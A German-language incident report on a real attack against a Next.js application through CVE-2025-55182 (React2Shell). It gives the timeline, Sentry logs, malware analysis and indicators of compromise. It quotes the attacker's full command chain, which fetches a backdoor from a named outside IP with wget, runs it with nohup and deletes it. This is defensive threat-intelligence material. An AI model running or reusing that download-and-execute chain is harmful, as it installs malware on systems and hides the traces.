
Analyse von Angriffen aus der Praxis von CVE-2025-55182 (React2Shell) - React Server Components RCE-Sicherheitslücke
Reale Angriffsanalyse auf eine produktionseinsatzfähige Next.js-Anwendung
Am 5. Dezember 2025 wurde unsere produktionseinsatzfähige Next.js-Anwendung von Angreifern angegriffen, die CVE-2025-55182 (React2Shell) ausnutzten – eine kritische Remote-Codeausführungsschwachstelle in React Server Components. Der Angriff versuchte, einen Linux-Backdoor-Trojaner auf unserem Server herunterzuladen und auszuführen.
| Attribut | Wert |
|---|---|
| CVE-ID | CVE-2025-55182 |
| CVSS-Score | 9.8 (Kritisch) |
| Angriffsdatum | 5. Dezember 2025 |
| Angriffsergebnis | ✅ Blockiert (nach Patch) |
| Malware-Typ | Linux-Backdoor-Trojaner |
| Betroffener Stack | Next.js + React Server Components |
CVE-2025-55182, auch bekannt als „React2Shell“, ist eine kritische Remote-Codeausführungsschwachstelle (RCE), die React Server Components (RSC) in folgenden Umgebungen betrifft:
Die Schwachstelle liegt in der Funktion renderToReadableStream() im React Flight Server. Bei der Verarbeitung speziell gestalteter RSC-Payloads wird die Eingabe nicht ordnungsgemäß bereinigt, was zur Ausführung beliebigen Codes führt.
Angreifer → Böswilliges RSC-Payload → Flight Server → eval() → RCE
Der Angreifer sendet eine präparierte POST-Anfrage mit einem bösartigen serialisierten Payload, das deserialisiert und auf dem Server ausgeführt wird.
| Zeitstempel (UTC) | Ereignis |
|---|---|
| Dez 5, 06:20 | Erster Angriff via Sentry erkannt |
| Dez 5, 06:20 | Payload versucht, Shell-Befehle auszuführen |
| Dez 5, 06:20 | Angriff teilweise erfolgreich (vor Patch) |
Sentry-Fehlerprotokoll (vor Patch):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
| Zeitstempel | Aktion |
|---|---|
| Dez 4, 14:13 | Upgrade auf Next.js 16.0.7 |
| Dez 4, 14:13 | Gepatchte Version bereitgestellt (v1.0.0-beta-4) |
| Zeitstempel (UTC) | Ereignis |
|---|---|
| Dez 5, 08:48 | Angriffsversuch erkannt |
| Dez 5, 08:48 | Payload-Ausführung BLOCKIERT |
| Dez 5, 08:48 | Fehler: syntax error: unexpected ";" |
Sentry-Fehlerprotokoll (nach Patch):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
Der Patch hat die Ausführung des bösartigen Befehls erfolgreich verhindert.
| Attribut | Wert |
|---|---|
| Ziel-URL | https://[REDACTED]/ |
| Methode | POST |
| User-Agent | Python Requests 2.31 |
| Ursprung | Automatisiertes Angriffsskript |
Der Angreifer versuchte, die folgende Befehlskette auszuführen:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
Aufschlüsselung:
| Schritt | Befehl | Zweck |
|---|---|---|
| 1 | wget http://45.76.155.14/vim -O /tmp/vim | Malware herunterladen |
| 2 | chmod +x /tmp/vim | Ausführbar machen |
| 3 | nohup /tmp/vim > /dev/null 2>&1 & | Im Hintergrund ausführen, nach Abmeldung weiterlaufen |
| 4 | rm -f /tmp/vim | Beweise löschen |
| Komponente | Version |
|---|---|
| Betriebssystem | Alpine Linux 3.23.0 |
| Laufzeit | Node.js v20.19.6 |
| Framework | Next.js 16.0.7 (gepatcht) |
| Container | Docker |
| Attribut | Wert |
|---|---|
| Dateiname | vim (als legitimes Tool getarnt) |
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| Dateityp | ELF 64-bit LSB executable, x86-64 |
| Sprache | Go (kompilierte Binärdatei) |
| Dateigröße | ~4,7 MB |
Erkennungsrate: 13/72 (18%)
| Anbieter | Erkennungsname |
|---|---|
| DrWeb | Linux.BackDoor.Siggen.389 |
| AhnLab-V3 | Backdoor/Linux.Agent.4780032 |
| Kaspersky | HEUR:Trojan.Linux.Agent.gen |
| ESET-NOD32 | Linux/Agent.PX Trojan |
| Avast/AVG | ELF:Agent-BQE [Trj] |
| AliCloud | Trojan:Linux/Agent.ff565f70 |
| Antiy-AVL | Trojan/Linux.Agent.px |
| Rising | Trojan.Agent/Linux!8.13268 |
| SentinelOne | Static AI - Suspicious ELF |
| Tencent | Malware.Linux.Generic.1c03c8b9 |
| Zillya | Trojan.Agent.Linux.5292 |
VirusTotal-Link: Analyse anzeigen
ELF-Header:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
Identifizierte Fähigkeiten:
| Fähigkeit | Nachweis |
|---|---|
| HTTP/HTTPS-Client | net/http, *http.Client |
| TLS-Verschlüsselung | crypto/tls, crypto/aes |
| SOCKS5-Proxy | socks, socks5 |
| DNS-Auflösung | net/dns/dnsmessage |
| Starke Kryptographie | chacha20poly1305, Ed25519 |
Extrahierte Zeichenketten (relevant):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
| Schweregrad | Regel | Quelle |
|---|---|---|
| NIEDRIG | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| NIEDRIG | ET DNS Query for .cc TLD | Proofpoint ET Open |
Typ: Linux-Backdoor-Trojaner
Fähigkeiten:
| Typ | Wert | Beschreibung |
|---|---|---|
| IP-Adresse | 45.76.155.14 | Malware-Verteilungsserver |
| URL | http://45.76.155.14/vim | Malware-Download-URL |
| Hosting | Vultr VPS | Cloud-Anbieter |
| TLD | .cc | C2-Domain verwendet .cc TLD |
| Typ | Wert |
|---|---|
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| SHA1 | [Bei Bedarf berechnen] |
| MD5 | [Bei Bedarf berechnen] |
| Dateiname | vim (getarnt) |
| Dateityp | ELF 64-bit x86-64 |
| Dateigröße | ~4,7 MB |
| Indikator | Beschreibung |
|---|---|
wget auf externe IP | Downloads von nicht standardmäßigen URLs |
Dateien in /tmp/ | Verdächtige ausführbare Datei im temporären Verzeichnis |
nohup + Hintergrundausführung | Persistenzversuch |
| Sofortige Dateilöschung | Beweisbereinigung |
| Python Requests User-Agent | Automatisiertes Angriffswerkzeug |